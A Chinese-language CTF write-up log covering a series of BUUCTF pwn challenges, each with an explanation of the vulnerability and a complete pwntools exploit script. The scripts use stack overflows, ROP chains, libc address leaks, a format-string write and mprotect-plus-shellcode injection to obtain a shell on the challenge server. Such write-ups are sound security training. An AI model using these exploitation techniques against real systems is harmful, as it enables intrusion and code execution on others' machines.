[BUUCTF]Pwn刷题记录
本部分内容长期更新,不再创建新文章影响阅读
rip
根据IDA加载入main函数声明发现s数组距离rbp
的距离为F,即为15,这里的运行环境是64位,所以应当将Caller's rbp
的数据填满,在这里是8位,即可构造payload
from pwn import *
p=remote("node4.buuoj.cn", 25401)
#p=process("./pwn1")
payload=b'a'*15+b'b'*8+p64(0x401186+1)
p.sendline(payload)
p.interactive()
jarvisoj_level0
打开IDA主函数两条命令,很明显可利用漏洞就在vulnerable_function
函数内,进入后看到buf很明显距离rbp有0x80位,再加上64位机多出来的8位,即覆盖0x80+0x8
即可覆盖,另外有callsystem
函数作为漏洞执行入口
from pwn import *
p=remote("node4.buuoj.cn", 27716)
#p=process("./level0")
payload=b'a'*136+p64(0x400596)
#p.sendline(payload)
p.sendlineafter('Hello, World\n',payload)
p.interactive()
ciscn_2019_c_1
首先获取程序的ROP信息ROPgadget --binary ciscn_2019_c_1 --only 'pop|ret'
后面的具体操作见代码注释
from pwn import *
from LibcSearcher import *
p=remote("node4.buuoj.cn", 27706)
#p=process("./ciscn_2019_c_1")
elf=ELF("./ciscn_2019_c_1")
main=0x400b28
rdi=0x400c83
ret=0x4006b9
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
p.sendlineafter('Input your choice!\n', '1')
payload=b'\0'+b'a'*(0x50-1+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)#构造以输出puts_got的内容
p.sendlineafter('Input your Plaintext to be encrypted\n', payload)
p.recvline()
p.recvline()
puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8, b'\0'))#得到puts函数的地址
libc=LibcSearcher("puts", puts_addr)
libc_base=puts_addr-libc.dump("puts")
sys_addr=libc_base+libc.dump("system")
binsh=libc_base+libc.dump("str_bin_sh")#使用LibcSearcher找到对应的libc版本号
p.sendlineafter('choice!\n', '1')
#由于Ubuntu18运行机制与前面版本的不同,在调用system的时候需要进行栈对齐,在这里可以使用ret进行栈对齐
payload=b'\0'+b'a'*(0x50-1+8)+p64(ret)+p64(rdi)+p64(binsh)+p64(sys_addr)
#p.sendline(payload)
p.sendlineafter('encrypted\n',payload)
p.interactive()
经过暴力循环测试法,测得最终的libc版本为libc6_2.27-0ubuntu3_amd64
,然后即可打通本poc
[第五空间2019 决赛]PWN5(格式化字符串)
试着运行一下先,发现当输入的长度比较长的时候,回显会出现一点问题,所以合理猜测输出语句存在问题。
使用32位IDA载入,直接查看main函数
int __cdecl main(int a1)
{
unsigned int v1; // eax
int result; // eax
int fd; // [esp+0h] [ebp-84h]
char nptr[16]; // [esp+4h] [ebp-80h] BYREF
char buf[100]; // [esp+14h] [ebp-70h] BYREF
unsigned int v6; // [esp+78h] [ebp-Ch]
int *v7; // [esp+7Ch] [ebp-8h]
v7 = &a1;
v6 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
v1 = time(0);
srand(v1);
fd = open("/dev/urandom", 0);
read(fd, &dword_804C044, 4u);
printf("your name:");
read(0, buf, 0x63u);
printf("Hello,");
printf(buf);
printf("your passwd:");
read(0, nptr, 0xFu);
if ( atoi(nptr) == dword_804C044 )
{
puts("ok!!");
system("/bin/sh");
}
else
{
puts("fail");
}
result = 0;
if ( __readgsdword(0x14u) != v6 )
sub_80493D0();
return result;
}
首先看了看栈溢出漏洞,read做了限制字符大小利用不了,但是看到了一个printf(buf)
这就是一个明显的格式化字符漏洞,再结合题目分析一波,大概流程是随机生成一个数字存入到地址为dword_804C044
的全局变量中,最后对输入的passwd
字符进行比较,这里注意下atoi
这个函数它只会提取正整数,除此之外都是返回0,因为dword
变量是随机数,所以控制不了(之前见过一题也是随机数,但是它的随机种子在栈里面是可控的,然后用栈溢出,再引用ctypes
库,加载libc.so.6
然后就可以获得系统一样的随机数了),但是这题很明显就是通过printf(buf)
这个漏洞去更改dword
变量的值
关于格式化字符串攻击,这里可以从以下两个资料着手了解
详谈Format String
【整理笔记】格式化字符串漏洞梳理
利用AAAA %08x %08x %8x %08x %08x %08x %08x...
这样的字符串来找到我们输入的参数在函数栈上的位置
假设是在栈中的第n位,则可利用%n$
定位到参数在栈上的位置,特别值得一提的是,这里的%n中如果是n则默认只想ESP指向的栈顶的内容指向的内存地址,而如果是一个具体的数值x则是指向[ESP+x]
因此在这道题中,我们就可以把我们不知道的dword_804C044
改为我们设定的数值即可,由此编写poc
from pwn import *
p = remote("node4.buuoj.cn", 28042)
addr=0x0804C044
payload=p32(addr)+p32(addr+1)+p32(addr+2)+p32(addr+3)
payload+=b'%10$n%11$n%12$n%13$n'
p.sendline(payload)
p.sendline(str(0x10101010))
p.interactive()
最终得到flag
ciscn_2019_n_8
打开之后查main函数逻辑,然后你就会发现原来是一道水题- -,只要保证var数组第14位为0x11即可getshell,直接什么都不看编写poc梭哈
from pwn import *
p = remote("node4.buuoj.cn", 27097)
#addr=0x0804C044
payload=p32(0x11)*14
p.sendline(payload)
p.interactive()
梭哈成功✌
jarvisoj_level2
IDA分析,vulnerable_function
中有关于buf的read函数,且buf距离ebp
长度为0x88,而read指定长度为0x100,再经过checksec查看,确认存在栈溢出漏洞。
查看字符串发现程序内已经包含了/bin/sh
字符串且具有system函数,因此溢出思路为填充buf跳转到system函数,然后传入字符串/bin/sh
作为参数即可getshell,编写poc如下
from pwn import *
p = remote("node4.buuoj.cn", 28037)
binsh=0x0804A024
system=0x8048320
payload=b'a'*(0x88+4)+p32(system)+b'a'*4+p32(binsh)
p.sendline(payload)
p.interactive()
成功打通,cat flag
[OGeek2019]babyrop
初期逻辑和前面一道题比较像,buf给一个随机数,然后拿用户输入与buf进行比较,显然这里没有利用空间。
在sub_804871F函数里面很明显看到有strlen(buf)
,这里有一个利用点,即strlen遇到\x00
时直接截断,所以我们第一位直接截断即可绕过此部分,然后发现buf是一个7位数饿数组,但是在函数中有read(0, buf, 0x20u)
,经计算,v5就相当于buf的第8位,所以v5在这里可以被我们指定。
而另一个函数sub_80487D0中a1就是main函数中传入的v5,buf的地址为[ebp-E7],如果v5为127,则会执行第一条代码,C8<E7,不能覆盖返回地址,v5需要尽可能的大,才能覆盖到返回地址。
根据上述思路,进行exp编写,这里一开始是想在绕过之后利用read/write泄露地址然后通过LibcSearcher找到libc版本号的,但是发现不是很成功...通过泄露的地址未能找到正确的libc,结果回头一看题目里面已经给出libc了- -既然如此那就直接用了。真可谓众里寻他千百度,得来全不费工夫,最后把LibcSearcher的部分注释了,也算是一种复习吧
from pwn import *
from LibcSearcher import *
p = remote("node4.buuoj.cn", 28820)
elf=ELF('./pwn1')
libc=ELF('./libc-2.23.so')
system_libc=libc.symbols['system']
binsh_libc=next(libc.search(b'/bin/sh'))
write_plt=elf.plt['write']
write_got=elf.got['write']
write_libc=libc.symbols['write']
read_got=elf.got['read']
read_plt=elf.plt['read']
main_addr=0x8048825
#payload1-截断strlen
payload1=b'\x00'+b'\xff'*7
p.sendline(payload1)
p.recvuntil("Correct\n")
#pay;pad2 - 泄露read的got地址
payload=b'a'*(0xe7+4)+p32(write_plt)+p32(main_addr)
# ret1 ret2
payload+=p32(1)+p32(write_got)+p32(4)
#write par1 par2 par3
#write_plt覆盖的是sub_80487D0函数的返回地址,而write函数是main函数的函数,所以后面需要有三个write的参数
p.sendline(payload)
write_addr=u32(p.recv(4))
print('[+]write_addr: ', hex(write_addr))#得到了write在内存中的位置 可以用题目提供的函数共享库算出system在内存中的位置
# libc=LibcSearcher('read', read_addr)
# libc_base=read_addr-libc.dump('read')
# system_addr=libc_base+libc.dump('system')
# binsh_addr=libc_base+libc.dump('str_bin_sh')
libc_base=write_addr-write_libc
system_addr=system_libc+libc_base
binsh_addr=binsh_libc+libc_base
p.sendline(payload1)
p.recvuntil("Correct\n")
payload=b'a'*(0xe7+4)
payload+=p32(system_addr)+p32(main_addr)+p32(binsh_addr)#第二次直接把返回地址改为addr地址
p.sendline(payload)
p.interactive()
get_started_3dsctf_2016
checksec发现开了NX保护,所以栈内容执行不可用,考虑找其他后门函数,搜索flag关键字发现get_flag函数,打开发现是读取flag.txt,所以考虑只需要把return地址改在get_flag函数的if条件句之后即可正常执行,这里注意到main函数时候没有push ebp,所以在压进去0x38字节以后就直接到了return地址处,写出exp为
payload = b'a'*0x38 + p32(80489B8)
本地可以打通,但是连到buu远程发现提示core dumped,猜测是远程有内核保护机制,因此就只能尝试保证堆栈平衡的情况下进行处理了
case1
from pwn import *
context.log_level="debug"
#p=process('./get_started_3dsctf_2016')
p=remote('node4.buuoj.cn', 27394)
# 0x38 + get_flag入口 + exit地址维持堆栈平衡 + 传参a1, a2
payload = b'a'*0x38 + p32(0x80489A0) + p32(0x804E6A0) + p32(int(hex(814536271), 16)) + p32(int(hex(425138641), 16))
p.sendline(payload)
p.interactive()
case2
第二种是看到大佬的WP才知道的,还可以通过vmprotect来修改某块内存地址的读写权限来执行shell的,函数的具体情况如下
int mprotect(const void *startaddr, size_t len, int prot);
startaddr 内存起始地址, len修改内存的长度, prot 内存的权限
需要指出的是,指定的内存区间必须包含整个内存页(4K)。区间开始的地址startaddr必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。0x1000=4096
prot = 7 表示可读可写可执行4+2+1=7(r=4,w=2,x=1)
接着去找内存bss段的一段可用内存,这里我们使用gdb查找
可以看到0x080ea000到0x080ec000这一段是可读可写不可执行的,正符合我们的要求,所以我们就拿这一段来下手
由于在这个过程中我们分别要在mprotect和read里面输入三个参数,都需要维持栈平衡,所以我们需要找到一个进行三次pop的ROP,确保对战还原,程序正常运行,使用ROPgadget查找
ROPgadget --binary get_started --only 'pop|ret' | grep pop
找到了地址0x0804f460
有3pop+ret结构,符合我们的要求,因此就用它了
到这里,我们的思路就基本明确了:首先从main函数跳转到mprotect函数,改变指定内存段的读写权限,然后再跳转到read函数,设置读取后将内容保存在前面修改过的内存地址里面,接着我们传入shellcode,获取flag即可,exp如下
from pwn import *
context.log_level="debug"
elf=ELF('./get_started_3dsctf_2016')
p=remote('node4.buuoj.cn', 27394)
pop3_ret = 0x0804f460
mem_addr = 0x080ea000
mem_size = 0x2000#根据差值计算
mem_proc = 0x7#777
mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']
#payload = b'a'*0x38 + p32(0x80489A0) + p32(0x804E6A0) + p32(int(hex(814536271), 16)) + p32(int(hex(425138641), 16))
#覆盖+跳转地址到mprotect+pop3_ret
payload = b'a'*0x38 + p32(mprotect_addr) + p32(pop3_ret)
#mprotect的参数
payload += p32(mem_addr) + p32(mem_size) + p32(mem_proc)
payload += p32(read_addr) + p32(pop3_ret)
#read 的三个参数 read(0,0x080ea000,0x100)
#read函数参数1 ,从输入端读取,将我们生成的shellcode读入目标内存地址
#读取到的内容复制到指向的内存里
payload += p32(0x100) #读取大小
payload += p32(0) + p32(mem_addr) + p32(0x100)
payload += p32(mem_addr) #ret esi
#p.sendline('100')
p.sendline(payload)
shellcode = asm(shellcraft.sh(),arch='i386', os='linux')
p.sendline(shellcode)
level2_x64
题目拿到手分析有NX保护,排除栈内shellcode一类,打开一看,还是栈溢出,基本轻车熟路了,看到有system可以调用,又看到.data表里面有/bin/sh
可以调用,那就直接开搓
from pwn import *
context.log_level="debug"
#p=process('./level2_x64')
p=remote('node4.buuoj.cn', 28117)
pop_rdi_ret_addr=0x00000000004006b3
system_addr=0x40063E
binsh_addr=0x600A90
payload = 'a'*0x80 + 'a'*8 + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)
#p.sendline('100')
p.sendline(payload)
p.interactive()
[HarekazeCTF2019]baby_rop
老花样,栈溢出找到system调用/bin/sh即可
from pwn import *
context.log_level="debug"
#p=process('./level2_x64')
p=remote('node4.buuoj.cn', 26354)
system_addr = 0x4005E3
rdi_ret_addr = 0x0000000000400683
binsh_addr = 0x601048
payload = 'a'*0x10 + 'a'*8 + p64(rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)
p.sendline(payload)
p.interactive()
ciscn_2019_n_5
保护全关,第一段输入将shellcode写入bss,第二段利用溢出修改返回地址执行shell即可
from pwn import *
from LibcSearcher import *
context.log_level="debug"
context(os='linux',arch='amd64', log_level = 'debug')
#p=process('./ciscn_2019_n_5')
elf=ELF('./ciscn_2019_n_5')
p=remote('node4.buuoj.cn', 27642)
bss_addr=0x601080
shellcode=asm(shellcraft.sh())
payload='a'*(0x20 + 0x8) + p64(bss_addr)
p.recvuntil('name')
p.sendline(shellcode)
p.recvuntil('?')
p.sendline(payload)
p.interactive()
others_shellcode
这是个啥题啊,直接nc连上就shell了,自始至终都觉得哪里不对劲,但是flag提交成功...
ciscn_2019_ne_5
这题目有意思,前面都平平无奇,打开以后发现通过admin校验以后可以输出和输出内容,而输入大小是128,最后输出时候使用strcpy存入的数组大小明显小于此值,因此可以构成栈溢出,修改返回地址到system,这里没有/bin/sh
字符串,但是有一个fflush
可以构造出sh
,居然也可以用,新的知识点++,到这里就直接开写了
from pwn import *
from LibcSearcher import *
context.log_level="debug"
#context(os='linux',arch='i386', log_level = 'debug')
#p=process('./ciscn_2019_ne_5')
e=ELF('./ciscn_2019_ne_5')
p=remote('node4.buuoj.cn', 27192)
#binsh_addr=0x080482EA
ret_addr=0x0804843e
popebp_ret_addr=0x08048720
binsh_addr=0x080482ea
system_addr=e.symbols['system']
p.sendlineafter('word:', 'administrator')
p.sendlineafter(':','1')
payload = 'a'*(0x48 + 0x4) + p32(system_addr) + p32(binsh_addr) + p32(binsh_addr)
p.sendline(payload)
p.sendlineafter(':','4')
p.interactive()
看似没有什么问题吧,但是放到buu上面一跑
timeout: the monitored command dumped core
检查多遍未果,又和师傅们交流也没下文,后来有个师傅自己写了一遍跑通了,遂检查不同之处,发现师傅的system_addr是手写的,于是自己也去找到_system
填入地址,写成新的exp
from pwn import *
from LibcSearcher import *
context.log_level="debug"
#context(os='linux',arch='i386', log_level = 'debug')
#p=process('./ciscn_2019_ne_5')
e=ELF('./ciscn_2019_ne_5')
p=remote('node4.buuoj.cn', 27192)
#binsh_addr=0x080482EA
ret_addr=0x0804843e
popebp_ret_addr=0x08048720
binsh_addr=0x080482ea
#system_addr=e.symbols['system']
system_addr=0x80484d0
p.sendlineafter('word:', 'administrator')
p.sendlineafter(':','1')
payload = 'a'*(0x48 + 0x4) + p32(system_addr) + p32(binsh_addr) + p32(binsh_addr)
p.sendline(payload)
p.sendlineafter(':','4')
p.interactive()
通了...后来又仔细看了一下使用symbols输出的地址为0x804a024
,回去一看读的是plt-got段的system地址...真是害人不浅啊
铁人三项(第五赛区)_2018_rop
checksec看到保护全关,进IDA分析就是很简单的一串逻辑,在第二个函数处看到了明显的溢出,但是题目里面没有直接提供shell相关操作,所以判断本题为ret2libc,题目中给到了write函数,所以考虑使用write函数来泄露
关于write参数fd
我找到了如下解释
write() writes up to count bytes from the buffer starting at buf to the file referred to by the file descriptor fd.
概言之,就是0 stands for stdin and 1 stands for stdout,不一定正确,但是有助于记忆
from pwn import *
from LibcSearcher import *
#context.log_level="debug"
context(os='linux',arch='i386', log_level = 'debug')
#p=process('./2018_rop')
elf=ELF('./2018_rop')
p=remote('node4.buuoj.cn', 26830)
main_addr = 0x080484C6
write_plt = elf.plt['write']
write_got = elf.got['write']
payload = b'a'*(0x88 + 0x4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
p.sendline(payload)
write_addr = u32(p.recv(4))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload=b'a'*(0x88+0x4) + p32(system_addr) + p32(system_addr) + p32(binsh_addr)
p.sendline(payload)
p.interactive()